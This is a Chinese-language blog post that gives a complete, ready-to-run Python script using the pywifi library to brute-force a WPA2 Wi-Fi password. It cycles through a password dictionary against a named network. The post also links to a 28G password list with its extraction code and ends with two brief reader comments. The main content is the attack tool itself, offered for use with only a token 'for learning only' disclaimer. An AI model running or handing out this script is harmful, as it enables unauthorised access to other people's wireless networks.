简介
Python丰富的第三方库中自然也包括wifi的API,可以很方便的实现wifi的连接。如果有一份详细的密码本,可以实现wifi密码的暴力破解,前提是你有足够的耐心和时间去等待。本文将提供一套完整的wifi破解代码和密码资源,仅供学习使用。
内容
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
import time # 时间 import pywifi # 破解wifi from pywifi import const # 引用一些定义 from asyncio.tasks import sleep class PoJie(): def __init__(self, path): self.file = open(path, "r", errors="ignore") wifi = pywifi.PyWiFi() # 抓取网卡接口 self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡 self.iface.disconnect() # 测试链接断开所有链接 time.sleep(1) # 休眠1秒 # 测试网卡是否属于断开状态, assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def readPassWord(self): print("开始破解:") while True: try: myStr = self.file.readline() if not myStr: break bool1 = self.test_connect(myStr) if bool1: print("密码正确:", myStr) break else: print("密码错误:"+myStr) sleep(3) except: continue def test_connect(self, findStr): # 测试链接 profile = pywifi.Profile() # 创建wifi链接文件 profile.ssid =id_name # wifi名称 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 profile.key = findStr # 密码 self.iface.remove_all_network_profiles() # 删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件 self.iface.connect(tmp_profile) # 链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上 isOK = True else: isOK = False self.iface.disconnect() # 断开 time.sleep(1) # 检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def __del__(self): self.file.close() # 密码本路径 path = r"C:\Users\DrZ\Desktop\passwd.txt" # wifi名称 id_name = 'xiaomi7345' start = PoJie(path) start.readPassWord() |
大致的思路就是:对给定的wifi名称,我们循环使用密码去一一做尝试,如果失败就断开连接,直到连接成功为止。
导入所需要的第三方库(请自行下载安装好),通过 pywifi 调用网卡接口,依次做测试,循环读取密码尝试连接。在这里只需要修改密码文件路径和wifi名称即可。
密码文件passwd.txt里面的内容格式如下:
一行只包含一组密码,脚本依次读取每行密码,直到找到正确的密码为止。
接下来就是你们需要的28G密码资源了,记得点赞哦,猛戳这里。仅供学习使用,且行且珍惜!
密码:17v8
方便给我个群号码?进去学习技术
没有群呢